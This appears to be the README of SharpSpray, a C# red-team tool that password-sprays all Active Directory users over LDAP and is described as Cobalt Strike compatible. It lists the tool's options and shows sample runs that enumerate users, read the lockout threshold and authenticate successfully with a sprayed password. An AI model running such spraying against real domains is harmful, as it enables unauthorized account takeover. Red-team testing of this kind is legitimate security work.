jnqpblc/sharpsprayActive Directoryユーザーに対してLDAP経由で自動化されたパスワードスプレー攻撃を実施するC#ツール。設定可能な遅延とパスワードリストを備え、レッドチーム運用向けに設計されています。
このプロジェクトは、私の PowerSpray.ps1 スクリプトを C# に移植したものです。SharpSpray は、LDAP を使用してドメインの全ユーザーに対してパスワードスプレー攻撃を実行するためのシンプルなコードセットであり、Cobalt Strike と互換性があります。
https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1
デフォルトでは、ドメインからユーザーリストを自動生成します。
デフォルトでは、現在の日付を使用してパスワードリストを自動生成します。
アカウントがロックアウトされないように注意してください。
SharpSpray.exe
--Seeds [ A comma-separated list of passwords to as a seed to the internal list generator. Eg. Password,Welcome,Company ]
--Passwords [ A comma-separated list of passwords to use instead of the internal list generator. Eg. Password1,Password19,Company19,Welcome19 ]
--Delay [ The delay time between guesses in millisecounds. Eg. 300 ]
--Sleep [ The number of minutes to sleep between password cycles. Eg. 15 ]
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Sleep 15
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 64 passwords.
[*] Starting password spraying operations.
[*] Using the default delay of 1000 milliseonds between attempts.
[*] Using password Winter19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Seeds Password,Welcome,Company --Sleep 15
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 42 passwords.
[*] Starting password spraying operations.
[*] Using the default delay of 1000 milliseonds between attempts.
[*] Using password Password19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Passwords ItsNotWinter! --Sleep 15 --Delay 300
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 1 passwords.
[*] Starting password spraying operations.
[*] Using a delay of 300 milliseonds between attempts.
[*] Using password ItsNotWinter!
[+] Successfully authenticated with jnqpblc::ItsNotWinter!
[*] Completed all rounds with password ItsNotWinter!
[*] Now the script will sleep for 15 minutes.
^C